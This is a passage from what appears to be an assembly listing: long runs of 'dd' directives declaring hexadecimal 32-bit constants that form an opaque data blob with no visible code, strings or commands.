0E25D74E4h dd 48234AEh, 81207638h, 0BF356510h, 0A1001442h, 9BE1F71h dd 0DAF80238h, 0AADB8100h, 0F5D141F3h, 192D00BAh, 684A6B6Ah dd 0AC152CE5h, 6534E9D5h, 804FA408h, 0D6364802h, 68C0A087h dd 1D141F22h, 0C0C03F6Fh, 6B29901Ch, 0E8A32470h, 7D1808E6h dd 0C7103547h, 2F2B008Eh, 7A072969h, 71062453h, 1603EDC9h dd 0FDD10228h, 30FAC00Eh, 2379EB22h, 8840AA6h, 25284F3Bh dd 4C745F84h, 5F093D04h, 33170861h, 2D844390h, 0C7034407h dd 48313F44h, 4C34237h, 22C6F722h, 9B24325Ah, 8F878940h dd 0AD7A21B3h, 3D2D8C00h, 0DB4495A1h, 0E6F300CAh, 7ED8D779h dd 964C0F2Ah, 0E41900CAh, 0C023C86Fh, 48EF2C80h, 5F7D01EAh dd 8003A4B4h, 3D1F86DEh, 968F76h, 51451B70h, 66D53771h dd 6C25B300h, 0BA355F0h, 0F471F3EDh, 0E9DFAC4h, 1C40E651h dd 0E4F91420h, 3100644Ch, 0DE7CF2ECh, 7F7081FCh, 0B09E004Fh dd 0C6417404h, 37000B6Fh, 27214634h, 56859Dh, 0CBEAB920h dd 0F28B2BFEh, 0F6AAB100h, 0AB676E3Fh, 0FD090083h, 93103DBBh dd 8200915Ch, 8AA25589h, 21264Ah, 0B8439203h, 0D46C0A75h dd 0BF5CD00Eh, 0DE6760D5h, 0B597A5h, 3F33C38Ah, 0CF62A253h dd 20FB8318h, 1F272B11h dd 40F266ABh, 0CA9A61F0h, 9800DE4Ah, 25305067h, 233C3Ah dd 9247248Ah, 9E598108h, 3D1C1A00h, 0FE82616Eh, 0AD200360h dd 0EBB40FA6h, 201781C1h, 1B3A6D50h, 31EAA621h, 87260900h dd 53C3013h, 834EFEF1h, 0C0C6BEEDh, 1CB89010h, 7EAB525h dd 90A80C11h, 8068C439h, 478E7E00h, 15BF8154h, 0C5DB3964h dd 63948F80h, 0D3FCB713h, 69F7B305h, 80AAA039h, 1447CB0Ah dd 38977600h, 508E2886h, 14C0E9Bh, 0B2E4EE12h, 849C8026h dd 800E758h, 42299369h, 3E0DB519h, 0D981DE7Dh, 8B50C573h dd 78F6F89Fh, 0AE5CFC1Fh, 0FDE3B3C0h, 218C3Ah, 967A8218h dd 641C6C46h, 3FD69700h, 715A7EA5h, 472700C5h, 0DD61CEC4h dd 7F26D972h, 621ECCDAh, 0F836DF80h, 0FDB817h, 0ECB605DBh dd 0AE76BF16h, 0C995B403h, 0F0D5AAA4h, 245DDA9Eh, 1FC6874h dd 77C1B318h, 0EC9421B2h, 0BE263D53h, 4C07963Bh, 0C883F5EDh dd 0C0C8000Ch, 4A8D1285h, 830567E5h, 18948016h, 87D4F900h dd 3749481Dh, 9031980Ch, 0F5C7B60h, 0F31E4101h, 884DFB0Bh dd 0C770BC40h, 924428DAh, 51671DC8h, 8F7BC053h, 0DE988175h dd 1136BF00h, 8B019CFAh, 0DDB3AF8h, 1E8F8800h, 0C0D27823h dd 0D98C3B50h, 0B47A9E02h, 403D49DEh, 935548h, 1D059979h dd 0BD6BF5D5h, 0AA7450C0h, 77B138Eh, 0F07F1F52h, 8B77F0FFh dd 3F008006h, 0D5F4B7B0h, 1E12B5A2h, 0C04CBE04h, 0C1654EC4h dd 357698AFh, 4C9013FCh, 41F59F00h, 6853F904h, 0E3F40710h dd 90DF3885h, 0C25428Fh, 806FAF00h, 0AB1DD6C7h, 48E80058h dd 560AF1A6h, 5DF6FD9Bh, 26A3E000h, 219D7319h, 0BEA20752h dd 59342A2Ch, 0B2107180h, 8B0081DDh, 66970FA3h, 0FCD5474Ch dd 0ADE00515h, 41405DCBh, 33E536E0h, 17CE4044h, 0A50067B4h dd 6A98A385h, 3F107983h, 0B00E5445h, 60E35FFFh, 31B856DEh dd 1E0072A9h, 4333C50Eh, 486DCAC0h, 550034F9h, 882DC61Ch dd 30134476h, 0F40014B1h, 0C5CDCEF0h, 0C2532C26h, 61F98624h dd 5104400Dh, 54179E3Eh, 0E26AD490h, 0FF3100B7h, 40074BD7h dd 0E4693676h, 6C9C01E6h, 5520E6ECh, 0FEF200C3h, 0D576F113h dd 8457DA36h, 72E200FCh, 0F96115C5h, 9276F3h, 0F14E053Dh dd 0E5EB30Fh, 0D300F47Fh, 906C9DEDh, 2CE42E14h, 28D372D8h dd 0AF261204h, 0E364037Fh, 0A680D710h, 0C50085A2h, 3961452Fh dd 477605h, 2598DF11h, 28E1445Ah, 99507D0Eh, 78072309h dd 10DEC84Bh, 415A0002h, 0A4CB0B54h, 20008E57h, 899C5C6Dh dd 13E9F1D7h, 3EBCB2h, 70F50D14h, 0C60038DFh, 0D644EB7Ch dd 4D0394h, 7A15250Bh, 2284206h, 78EA7700h, 19FCDDE8h dd 84244CF3h, 0B30D1407h, 0BA1650B8h, 6E00CFE4h, 7DD90E31h dd 0EC7E67C0h, 8B20033Ah, 34BE581Eh, 9B35D588h, 0CC130824h dd 1D4C0038h, 0CFAD6505h, 0B1E61DB7h, 6CA6C088h, 6A0A98CBh dd 47790C1Eh, 10211593h, 1908DE30h, 5DD3CD00h, 587DD770h dd 4C140076h, 8D37CE9Ch, 2490169Dh, 0B8ADA300h, 40808934h dd 0B6393CF9h, 64C92500h, 5183297Eh, 0BC3BFC00h, 3D6690F5h dd 0A5E9008Eh, 0DAA3ACFh, 0E2003C56h, 23FEAD6Eh, 1CD4F988h dd 47E626EDh, 70DA14E7h, 5317E98Fh, 8DF57C00h, 3DFC44CEh dd 9BB70026h, 455871F2h, 0C10060BBh, 161A929h, 0C4FEBEh dd 0E78A09D8h, 0DFDA1E2Fh, 3060A730h, 0B3D5BBh, 17292DA5h dd 0A3324BC6h, 7A24ED00h, 41F1A8F9h, 1E5C30A7h, 61857850h dd 3A563400h, 71198917h, 0CF9D0F8Ch, 2A80C6E7h, 8BEF3308h dd 4DA57300h, 0A6F03BB1h, 0C90213F4h, 0CB24405Fh, 0C720FDE1h dd 2C99FF02h, 40920F23h, 3BA027h, 0DABF0478h, 6162EC88h dd 0FAB75900h, 0C9D6019h, 717727h, 0D99849A9h, 5E34B2CFh dd 242FC926h, 2D40D204h, 1BC60080h, 0CDDA3D4Fh, 820411A4h dd 0F755E868h, 56D0CE63h, 0F100B65Eh, 628C06D0h, 0ECDE4A6h dd 0C018C1FAh, 33F4AC21h, 471C7084h, 0B153F500h, 0D8A3069Fh dd 6213054Bh, 0C00EDF54h, 0E6B6968Bh, 1014D300h, 180295FDh dd 0D69900F1h, 79A9AB38h, 0ED007F29h, 9E0EBD43h, 3C64D5DCh dd 151FDD57h, 0C51080BAh, 14A9C9BFh, 4973FE00h, 254CA8C7h dd 0D41603E8h, 8C2821FAh, 86526AD0h, 8E186090h, 83A06B80h dd 0A742Ch, 0B4D97163h, 5D7821CAh, 99AF9B00h, 0FF85EE6Dh dd 3DC3006Ch, 0FC55B44Dh, 60035463h, 0A411CD88h, 0C1A789CFh dd 23493E8h, 28208B86h, 9CC89ED3h, 7C00FE31h, 5B2BCC2Ch dd 3BD848h, 4275E6A3h, 697FF889h, 0A8048500h, 0FC59F299h dd 0F0DB0224h, 1D64F8Eh, 0C814F0A0h, 400F0D7Bh, 21EB7559h dd 3D376C81h, 0B48ACE40h, 0A83B00A2h, 0C1C00EFEh, 1203801Bh dd 864F152h, 672407F7h, 50DC1FBAh, 0FD0D7225h, 43B43C01h dd 69D27B36h, 48C38FF4h, 0CC246F34h, 13900F1h, 0FE476638h dd 74FC81E8h, 9AE1E81Ch, 74145396h, 0FF90956h, 1B500016h dd 71CDACh, 7DE9C26Ah, 0A561D266h, 0E705800h, 298956C8h dd 313E00D4h, 0C9C4A8B1h, 230CB769h, 60C0F55Ch, 1EE80094h dd 0F9848192h, 5090389Ah, 209F2226h, 0C39E960Eh, 90E17BD9h dd 1CA3A1A5h, 47EAF9h, 0F7058C6Fh, 0BB014912h, 0EE5E5291h dd 6C244BA9h, 3A697C74h, 6F8089E4h, 0D89CE509h, 0F042F59h dd 7045118Dh, 8F563780h, 0F2F41CFFh, 22F5C117h, 0D231FB53h dd 0F77F08C0h, 87702A1Eh, 56CF6180h, 0E629A033h, 7E6801A7h dd 840C1DF3h, 64F8807Ch, 329D521Ah, 24C20C12h, 0D89879CEh dd 805C0B3Ch, 0B3BDF981h, 4CDA7730h, 1126FC33h, 1CD30F7Ch dd 2A24C232h, 3C009050h, 1A5E1929h, 7062C46h, 0CC7CEE4Bh dd 0F00E00D1h, 253B1F38h, 0BCB71D18h, 0D8BE6A41h, 60F662B3h dd 2CAC79FCh, 40BC7EE3h, 0C41C363Dh, 0F229B53Ch, 0F9D74B1Eh dd 23093205h, 0B003C9C0h, 883B5870h, 3C7D533Ah, 86016CF7h dd 0B12533CFh, 0EEA160E4h, 0F590D31Eh, 0A2561240h, 241F339h dd 0D75B2127h, 3943653Ah, 6F01E0B6h, 485DCA0Ch, 40FA5278h dd 53B8634h, 6846D7B3h, 1613C01Dh, 0AFC5440h, 903E572h dd 7C773998h, 0D0E2888Eh, 987F6747h, 0FDC060C1h, 8601EE1Ah dd 955079DFh, 88802E89h, 686EED42h, 8100A4E0h, 550952DAh dd 3350C98h, 0C267CCA7h, 1BA9576h, 0B4C3D848h, 5D0113E0h dd 12A1AF2Eh, 8F20EC10h, 0B68EAB1h, 0B26BE396h, 8AD29F80h dd 0FA02868Eh, 6E817DF3h, 0C5E1E054h, 9FB300DDh, 0D72474A9h dd 0DF1C45A3h, 9EC7FAC6h, 0D670E4C2h, 140826Eh, 13904E08h dd 7006B0F3h, 0E2001880h, 0D030C96Bh, 3829A96h, 0BDEDC260h dd 3800522h, 6E01DB9Ch, 2D940E2Ah, 3881045Ah, 1D759D68h dd 0C8F07172h, 57006A24h, 0F7CC014Ch, 0C354E2h, 0CFDE7CA4h dd 7B580998h, 33EED700h, 7F95F4BFh, 98BD5C4Ch, 0A0076848h dd 5086356Eh, 5332F68Dh, 3A029898h, 8AA56FAh, 7418C1F4h dd 0EF96DC40h, 0C5D10070h, 0AC0F3BDh, 8D00C711h, 793B038Fh dd 0EDBC1F4h, 971D2659h, 0C6EA02DEh, 48603AFBh, 83045446h dd 0B5D7F88Bh, 0C434F0h, 67704F58h, 734C5B6Dh, 5763FD07h dd 0BD909B85h, 0EC903427h, 0CFD700BEh, 0DBF117A9h, 8D18A8A4h dd 0BC081E2h, 3EDE0096h, 0C3EE7218h, 11902501h, 1B46FD00h dd 65A9D10h, 0A71800F8h, 0B937DEE5h, 4D9840EAh, 74920A00h dd 9BD7B41Eh, 0F97F00D1h, 0FC6B624Eh, 0EC27596Ah, 0DDD000D9h dd 3980DCCh, 0F367511h dd 0F7D07DFDh, 478CBA4h, 0D8F38100h, 4217D671h, 0C2DA24FFh dd 0D3803978h, 723178DEh, 4A02A0E0h, 0BEEA3EB1h, 14AB8530h dd 6DB58400h, 0DB9544h, 0D2DC71E8h, 3B3566EEh, 11058h dd 0F5EBFC5Ah, 0FC7717EFh, 0C7F3073Ch, 20191A56h, 30CAA805h dd 9490D200h, 49DEE484h, 4FB8C07Fh, 23A76602h, 0A800B490h dd 9A88ADDDh, 3F92FA4Ah, 0D400583Fh, 7617F604h, 5500499Bh dd 1C844E5Eh, 0CADE7Ah, 0D16A8F67h, 2D7F547Eh, 1490DB7Eh dd 4BE1ED00h, 59A0CA66h, 0FFD704FDh, 0D06854F3h, 5B7B8170h dd 4BAF4303h, 0B8BB50F7h, 0C3690Fh, 0CD8B1BADh, 7581ACB4h dd 6CDBF803h, 0B077405Fh, 4F825E66h, 0ABCC0093h, 0B72B9A95h dd 349D2213h, 87E9700Fh, 3A606156h, 7A659815h, 36D51EE7h dd 4905789Ah, 807E1B38h, 377DFE1Fh, 4AF878BAh, 3F876312h dd 7099A400h, 59E3DFE1h, 9A008C10h, 0EA6EABC3h, 0B7006096h dd 0CC38A4C8h, 0E3533Ch, 1EECDC2h, 44296AF9h, 831DD00h dd 9162CCFDh, 3CDA0014h, 0A25315EEh, 0D0F6AEFFh, 29B00560h dd 3B7492Eh, 41FBBA3Ch, 0F0C236F6h, 7E84D6E0h, 5985B800h dd 678B9279h, 3C8DFE7Fh, 4F00094Dh, 942FA16Ah, 0BC00762Ah dd 0D22C65EFh, 50A5A4h, 24B7330Ah, 62A7E8C6h, 0D3425C00h dd 8A0C44ACh, 1FAFE0C3h, 0C0553381h, 820A7C66h, 0E90EEFB8h dd 1B693Ah, 9E5F2C91h, 52280012h, 0DBFECC96h, 3600A50Dh dd 99E3401Fh, 489D2EF3h, 9C005407h, 0BF1917B0h, 14002346h dd 7C4B56CBh, 0F55F363h, 7E8C6D5Ah, 90201741h, 0A36B6070h dd 65FA4C00h, 0F91FA9CAh, 0B7B100D3h, 461DE696h, 0D8901E9Eh dd 6EE49713h, 0C632ECC0h, 0BCD00F4Dh, 60E0B4B6h, 0A6E37651h dd 4B640B02h, 5072ACB9h, 54A80008h, 0B0D6BB1Dh, 0DD3E1611h dd 96F6800Dh, 562214EAh, 0F227007Dh, 6330F52Eh, 1F05A576h dd 8168A1Eh, 5775B8C0h, 923A0323h, 0FF2E578h, 0C6BFBEC8h dd 5DC4C100h, 9021081Bh, 0FACF63Ch, 142B730h, 40007F49h dd 0A3E7B53Dh, 3C009CF8h, 5513B021h, 385B7E56h, 6180028Fh dd 0B1084B94h, 1D053D2Ah, 1386BF83h, 0C744A800h, 7E0F1ACh dd 0ECCDD8EEh, 4D5617Eh, 0D4D9311Dh, 180016B9h, 284E6A2Dh dd 16597F90h, 0E082F27h, 84A047DBh, 9EBD4D6Bh, 4654F775h dd 7C105FA8h, 809214C4h, 9740955Ch, 9C04EB04h, 64C03093h dd 6024A2h, 4606E6F7h, 37D484Ch, 5D85B500h, 9667016Dh dd 9AC900AFh, 0E10E3179h, 1800C7D6h, 0ECE707DFh, 3A324E9h dd 8E543A2Dh, 0C988967Fh, 0D80F2A11h, 8037B6B1h, 2CB08AF6h dd 1A703FEh, 67196E44h, 86CEA990h, 0C800B877h, 0BEB1DBC5h dd 0E1D51B7h, 0F1648E36h, 9B2EA040h, 6CC0AD3Dh, 0F28E073h dd 96ED001Ah, 0E6EFD809h, 0C23C25FCh, 2C58FFh, 0C1187CABh dd 0B498A4h, 4C2880CCh, 5BF5E8F4h, 58E71E00h, 1592BF9h dd 14F80083h, 70053494h, 1138C533h, 39E48044h, 0D5D2E8B9h dd 0C4E9003Fh, 0E0F2A251h, 0A09635EAh, 9B8BDE40h, 0B6347AA7h dd 60EE0038h, 68626F4Ch, 0F773B0A0h, 0FFADBA1Ch, 1306003Bh dd 248A1BFCh, 0D9833AA5h, 0D74DA800h, 0C1B4124Ah, 0DD542800h dd 93EB14BDh, 19CD008Ch, 8D81C79Ch, 0B900D9BFh, 0FA6B0A1h dd 0F38CBCAh, 0A3D87515h, 0EEC66C00h, 5900648Fh, 57F9FF4Ah dd 3FB1FAh, 77720E2Bh, 0F19C0595h, 4EA2673Eh, 2D5FE0h dd 780309AEh, 0B216B484h, 272618C0h, 285EFC1h, 949719DFh dd 0A960CD24h, 35004D7Ah, 3474FC36h, 74A929D4h, 207CE565h dd 1883C100h, 0E0CCAE46h, 0CF5D8800h, 0E81F2E14h, 0F0806FCh dd 1C78F39Bh, 0D400E67Ah, 0CAC14AACh, 0CF3246h, 0AE2048A0h dd 958B6296h, 780706E4h, 0CD0B608Ch, 8AD3E730h, 716B60DFh dd 4B052BCEh, 0B910820Fh, 0B863C0BDh, 0EF5EB2B5h, 3E246ED8h dd 4F3A4891h, 0FDCD7505h, 9740D005h, 0BF376B7Dh, 1E4030CEh dd 7311B6h, 76D6DBABh, 0F5D8863Ch, 0CD18D100h, 9BB58D0Ah dd 45B054h, 6C5317ABh, 13E7DDEFh, 4963FB03h, 0A07F4E75h dd 0B16A7Dh, 0E8CB06F5h, 3D429517h, 896FB0C0h, 1BEFB5B6h dd 8815B032h, 5AC66DE0h, 20149531h, 36D5B5A6h, 52313180h dd 0B5B949Bh, 598A4600h, 276BD097h, 0B1B50675h, 491056A7h dd 0C08F7D00h, 0D0A90EFDh, 826B03EBh, 0BDF85BFBh, 173480C4h dd 2F073F48h, 0D453369h, 64DB2E70h, 1C1A1DC6h, 99BC0025h dd 220B2B4h, 59D5CE1Dh, 11A0FC40h, 6016D1h, 84BDB7C4h dd 7604F86Dh, 903E0200h, 6BBC8BA9h, 0CB2400BEh, 0FAB1AA2Dh dd 9DF0BFA4h, 0EFA60F00h, 6F6A4A5Fh, 0B38C3F07h, 0C4C90A00h dd 0B4C3506Dh, 24E0EB00h, 4357C65Eh, 0D5DE18BDh, 7E80D819h dd 0B728AD00h, 97D8C2F6h, 0F68A76AAh, 374E0E46h, 9BA0B6BDh dd 35B2E698h, 0AAC8D52h, 0A427E41Fh, 0D98A3881h, 108C47D3h dd 0DC193E40h, 2853AA01h, 0F9ED585h, 0C0144BD4h, 5219541h dd 9C1F802Dh, 52471689h, 0BB304AA6h, 967C7AC1h, 7D1A0028h dd 0E75747A7h, 1B75C4Ch, 0D4894E26h, 56E484F4h, 30C800EEh dd 0B77C5E93h, 89F6C782h, 6BA8EA00h, 344F99D4h, 7E10099Bh dd 502018DCh, 8B449005h, 2E532500h, 9EA0DB6Ch, 9D1B194Eh dd 22477972h, 0CC81F14h, 14C207C0h, 38DEA1h, 3F1BAAE7h dd 919977D4h, 5F93731Eh, 0CD6D47C7h, 57CF0AB0h, 59210039h dd 94DE74A0h, 0CAFA8437h, 4A69202h, 0A825F186h, 290A34A4h dd 4680CCB1h, 7249CB52h, 9DFCFB3Ah, 747A00C2h, 3981DA89h dd 0B10C5163h, 300D64DFh, 0B9DE0E96h, 0F3609325h, 97077735h dd 0E04B4500h, 85489278h, 2995F2B1h, 0D504CEBDh, 4B32D0h dd 0AC47FC87h, 0CB57EC9Eh, 0C3DBF10Fh, 5806474Ah, 6E542DC0h dd 0EA18D7D6h, 4BBBF600h, 3075EDC0h, 2051B3E3h, 0A00089C3h dd 0BE7F9E42h, 0FDA6B2h, 362B172h, 0C0EDC12Ch, 55E56605h dd 5780DA6Bh, 0BC7CDDh, 0C43BB245h, 0F7564283h, 0B4AE3Ch dd 61E6469Eh, 3997FC7Ah, 0C5806E37h, 4528F944h, 8F3C2EBEh dd 627900B3h, 1AEC32CEh, 50410087h, 40D73613h, 0AB00452Ch dd 27189ED4h, 0C18D2B6Eh, 5BC21220h, 5248DCE5h, 320A5F7Fh dd 89DED2Ah, 0AD624300h, 0C73DBCh, 2BB57737h, 0E751285h dd 95415005h, 2C00C402h, 55EBC5E0h, 1887E9Dh, 15A37FFh dd 0C7409466h, 0AF327000h, 2BA922B8h, 0B69D28E7h, 0A8B7183Ch dd 0FC83182Ch, 0CDA0B860h, 6822716Bh, 7E04D112h, 6F71D218h dd 0DBB410h, 0B59830FAh, 0A45C2B06h, 0E914EE0Fh, 0DFFCC0A7h dd 0F7C774h, 0A7F4117h, 8386C27Dh, 61AB6202h, 809279E2h dd 4F65B7A7h, 75E10133h, 6A84C888h, 9DDE3031h, 2A8CBE00h dd 9179B283h, 1F8103E8h, 1B721E5Bh, 9BA8CFB3h, 0BA00803Bh dd 953FA438h, 3023B915h, 2390A5Bh, 575C9A0Bh, 0C84C0026h dd 8C55224Eh, 0EB9500EEh, 0AED03496h, 0B10FC132h, 0C0F76FECh dd 0FFB5FF2h, 9E7800F1h, 2E02977Dh, 0B00081F5h, 14C33151h dd 30574B9Fh, 3B69C676h, 0BAE69D4Fh, 2F6F6600h, 540CDABh dd 96A60079h, 0BB60B789h, 67006284h, 830674D9h, 17DF682h dd 0C7F3ED8Ch, 0CB65D2A4h, 3EF9FCD8h, 1733A90Bh, 87E78040h dd 2D1BD745h, 22DC4144h, 5D5B12h, 0BDAC87FFh, 26F13C64h dd 0E6D06501h, 48B000C6h, 0DA9CEF81h, 0C700EE55h, 0DE5472AEh dd 606E9A9Eh, 0FBBB87Bh, 9F00A7C4h, 42D64DFCh, 152087E3h dd 0FC6B09EFh, 0AC116600h dd 4344C650h, 3179A200h, 0E9FAE00Ah, 54BE000Eh, 234A1211h dd 530FB76Ah, 2ED175EEh, 5A7920DFh, 0F22E4D7Eh, 0E38E00DAh dd 0D03FD492h, 1129D60Ch, 0EE3F41Eh, 4F748980h, 86808047h dd 0E884F10Bh, 1D13006Dh, 25F2115Ch, 0A37A8D39h, 2C085B0Fh dd 8689C0ADh, 12BEE9Ah, 71117666h, 304BB683h, 5200F23Ch dd 7BF4016h, 0A0573EA7h, 3BA0F7A5h, 2503C7F1h, 1CAD48EFh dd 1129F800h, 0AF5157A1h, 2FBB00B5h, 42A48632h, 5B00F7CAh dd 88A0808Fh, 4D5706h, 0DADE3C24h, 6F31EBE2h, 0FAB69503h dd 0E89F12D3h, 0A57B4Fh, 52105361h, 0C17AA29Ch, 0EF45400h dd 0B3D33690h, 1787F35h, 8A1B1C03h, 0F37EA23Eh, 6B746000h dd 0A1BA07F5h, 28F73DC0h, 338069BDh, 0DD6B13Ch, 0FB00ED89h dd 354226A5h, 3A17E679h, 91007DBFh, 0B3E7999Eh, 341366C7h dd 23095CB6h, 30EC2012h, 5E5D335h, 0E4FCE3A1h, 59C83C6Dh dd 0A9001B7Ah, 6E8EBF2Ch, 0F35396h, 2369C3FBh, 46644E1Eh dd 70878100h, 2EC05CAh, 0E04150DEh, 5BCE00D5h, 487885D7h dd 47061289h, 91E78069h, 0CB2C0769h, 0E0D2196Bh, 1C0B8468h dd 0E40F9F00h, 9DA05532h, 2B510334h, 0F2AE2458h, 1FCCDFC0h dd 7F1C30C0h, 4D39085h, 70D9ADC6h, 9958D313h, 16BF1AA0h dd 88303A1Dh, 6B6130B0h, 7D6D0397h, 45C29227h, 9D354BA9h dd 0A2C0C488h, 0DE9FCF4Eh, 633B0EDCh, 6835669Ah, 0B12B0886h dd 80DB293Ch, 699BD391h, 41E9BEh, 6A1058B4h, 329717AAh dd 0D8FED400h, 0CC741E71h, 45370011h, 0A523BBBh, 68002F58h dd 41AB5117h, 0C84B8Dh, 60284A1Ah, 77D04FCCh, 8884CB00h dd 12FF79F2h, 31DA02E5h, 66BFD814h, 74E72C48h, 0AE3E3500h dd 0D6076585h, 0B11E00E4h, 5825E4Fh, 7C002C97h, 0C404FD8Ah dd 7165AE57h, 21630046h, 0D98280EEh, 8B001C25h, 1E939816h dd 0A3470Eh, 83F2ACCFh, 0ED0229A7h, 0B024C82Ah, 0C54FD000h dd 563BA363h, 8F593D1Fh, 330D0E80h, 0FF2F596h, 0AA08CC00h dd 90B949C8h, 0E78500B3h, 0BAD1ED2Ch, 3A003E26h, 920A5A3h dd 9871DBh, 92E938E8h, 5690B8ECh, 67216500h, 7205FCCFh dd 862200A5h, 74884D98h, 9D393E71h, 0AC6C003Ah, 768590E7h dd 15B20CA1h, 0F57884CCh, 51362301h, 999B84Ah, 15D50CCh dd 46C18020h, 2486BD60h, 303C584h, 90D0EEB2h, 401BF884h dd 0A0E15F99h, 0A528E661h, 9200F80Dh, 3E961607h, 1FC36697h dd 0C0A4F31Fh, 0EDD321CFh, 363DEBD9h, 44AF8088h, 63C8B1B5h dd 302400F7h, 9EBB9A7Ah, 3D26DB89h, 58034C0h, 0A93B37A8h dd 215C00A3h, 52830F70h, 82E64555h, 51F72000h, 665FB98Fh dd 14601FFh, 0AD759506h, 0CF9C6056h, 1338D400h, 0C62D2A94h dd 0FEA6009Ah, 5D0FA8E4h, 2201B05Bh, 7F6E3660h, 0BF8A764h dd 12910044h, 0A3DF9457h, 0AE1FB99Ch, 0B75450ABh, 0FFC19EC8h dd 0BF3E0114h, 2B80C4h, 8A2EA23Ah, 74334412h, 63EED750h dd 6679F800h, 0B79BB49Dh, 1B510013h, 9615D8B1h, 4100FF1Dh dd 1883553Dh, 0E5128658h, 0F666CCh, 36746FABh, 9B20B531h dd 8826B926h, 0E3BCD600h, 0B3F108h, 3F69341Dh, 5B4CF06Dh dd 7559AF00h, 0A444F7B6h, 33D00B8h, 26DE2A09h, 8000DF5h dd 22562FC0h, 0CB588h, 0B1303C15h, 0F8CED448h, 0DBCB2A00h dd 45BD177Ch, 0A880F5Eh, 1D610BECh, 0E0D10FF3h, 941F06E1h dd 5BC033E9h, 0C36B1320h, 41C10049h, 0DC9A4FCAh, 51005CADh dd 22AEEA40h, 393213Eh, 554AD73Bh, 6103DDBBh, 0B7C0E115h dd 6A1EA22Dh, 5BE5C04Ch, 17260069h, 2847615Ch, 30498FACh dd 426000E0h, 644B907Ah, 8DC20020h, 0A2C46E7Dh, 0F9004482h dd 0CE7A59Ah, 12EB8BBh, 0A333E327h, 744351D0h, 8804C40Ch dd 0D5BE9955h, 0A0B6EA83h, 0DEB25E08h, 10961880h, 8E8982E1h dd 0E91FE0h, 36F89D09h, 9F15CF60h, 43493B00h, 64C36847h dd 0C72400F4h, 6CD88B14h, 38C59604h, 3C4658EBh, 0F861559Dh dd 0E9A424F0h, 0B2930064h, 753A0A2Eh, 434A6803h, 29525F9h dd 0C0E58B79h, 90A01894h, 0D135859Dh, 796D40C0h, 0A463A30Eh dd 74D21D34h, 0E5C880A5h, 5A3CE037h, 6941B700h, 0D32C554Eh dd 8E3D00B9h, 5F6D2BB5h, 20C0A1C8h, 0A24D6889h, 1F290147h dd 0D47EF9A9h, 0C278D8A0h, 0D7F23700h, 0D6217417h, 3AA3B18h dd 0DCE45500h, 0FDD887Eh, 813C26E8h, 37EC9243h, 0C54E7600h dd 0E82EE9h, 0AC6FDEB3h, 0AD47DD25h, 2BCA6200h, 0D28C8157h dd 0A73200D6h, 669BA865h, 0E200A98Dh, 30C2D1B9h, 2FECADDh dd 8917CD9Ch, 0BF40080Fh, 3200DEC6h, 19BC857Eh, 36768E9h dd 6B48FD15h, 1EA8C123h, 851C4F41h, 6F471730h, 0D27158DDh dd 44F02C39h, 0CB28001Ch, 0B45DE15Ah, 0F700F320h, 41E4E61Dh dd 8A08A6h, 0A0505204h, 96634356h, 5F975E07h, 805F8B91h dd 0B925E2ACh, 6A4B4BEBh, 16990018h, 98FD1BECh, 1CD730D8h dd 367D2B19h, 70A028D4h, 0EC442A2Ah, 0AD59E709h, 342E81E4h dd 9983A1Eh, 704759ABh, 1C6AAD07h, 1610F415h, 3DBB1429h dd 79E0C187h, 0BEA8169h, 9661EB0Eh, 1D85C1FDh, 30205A35h dd 3EF3032h, 0A4C58B89h, 452C5906h, 0A4151B8h, 88741302h dd 0E5300028h, 0E0E35E85h, 0EB35A40Dh, 0E708D8h, 85ED2D21h dd 3BBA55E4h, 1B44A703h, 13AA2BA9h, 4AE20D70h, 43741E14h dd 33E9AD63h, 88A21884h, 0AD005A05h, 0B19E4EAh, 7E0A1602h dd 244B33EBh, 0D1E6296Eh, 9D638403h, 5EEC0Dh, 2EE440C8h dd 5CE57177h, 55400F73h, 33DC00BCh, 416E241Ch, 18565EF4h dd 0B880741Ch, 0A846606Ch, 0C5D02D97h, 0D452801h, 0E60DB9Ah dd 46EDEDF1h, 15E18700h, 0AB6C5D01h, 0C344FE1Dh, 2F0833E3h dd 5DE08621h, 1AE6897Eh, 7D679200h, 0E55C7270h, 2A853095h dd 0E72B69C8h, 370EB1EEh, 23DE46Eh, 0B0751303h, 885E0C4h dd 0A6C8E363h, 0C1545F64h, 9B8526h, 0E2F93BB8h, 2D60CD95h dd 0E9B73E60h, 2408988Dh, 83001083h, 0E8CA3CD0h, 0D62C84A8h dd 4FF85400h, 0C0B832FEh, 0FC0E8955h, 95E07419h, 14A8C83Eh dd 0BCE852FEh, 3F008CB0h, 8B4697C9h, 0A06D4F35h, 0B0D4BFBCh dd 6E270216h, 885ABAB4h, 0F20014C4h, 8B160169h, 3354D44Eh dd 2E080693h, 71D92100h, 1589C201h, 424C9EB7h, 0A48EA291h dd 89BD8764h, 6AE2C06Ch, 953B3D00h, 0A2185FFBh, 1F40295Ch dd 0AD6C0464h, 221584E5h, 620A164h, 7FAD67h, 3785F9E4h dd 2388C6A4h, 0F39991C0h, 0A8EBD1h, 0FEF4335Eh, 2C20BA0Dh dd 309E3903h, 9EAF3641h, 0E324A1A8h, 5D081318h, 0C42DAB62h dd 1B804025h, 2BCC05Dh, 0DB38EF74h, 88A89682h, 2946749Ch dd 6881AB3Fh, 0DF15BA40h, 3869803Dh, 0DEBE1657h, 0D95F3894h dd 0D4476880h, 4A9DE362h, 1844C713h, 29055C6Fh, 80E2E07Bh dd 0A0FC5877h, 0E8AECE30h, 181FC2B0h, 68405FD6h, 9883C4C6h dd 9814D0CCh, 11502828h, 0A2E88BB7h, 0B46466h, 9A27C516h dd 0ECC9446Bh, 246C1500h, 0EB8DBB7Ch, 92C124D4h, 8D91208h dd 5EC01D5Ch, 4C33DBADh, 4E0446Ch, 7500AD71h, 0C65C66Eh dd 0B93D2Ch, 0E289526Fh, 4BCD28FFh, 1FC4F600h, 38A308EBh dd 687034Ch, 0AEC9BCABh, 0C6417828h, 23FC2152h, 5D023FE8h dd 0FFE5AB6Dh, 6B101B19h, 89015D1Eh, 7DEDB82Fh, 44EE437Eh dd 0BF320BECh, 8048248Ch, 4828295h, 58601BD0h, 3323D9ADh dd 0B6117Ch, 9CAD737Ah dd 4C76F980h, 8834E462h, 39C80359h, 59235A28h, 0AD620E01h dd 398C3365h, 0AD65C0FCh, 0A6C94200h, 1877C6A5h, 607D005Ah dd 8BD05CBBh, 0FE13DCA4h, 0EC052BAAh, 548C28D9h, 0F9BA4192h dd 551BAB7h, 0B55F29BCh, 0DBDEC503h, 0EDBED80Ch, 0C4D403D6h dd 0EBE0B480h, 13115002h, 8350473Eh, 0B1D108BCh, 0ECC084E4h dd 0B203B71h, 0ED0B980h, 1262B182h, 343BDA1Ch, 0C916E540h dd 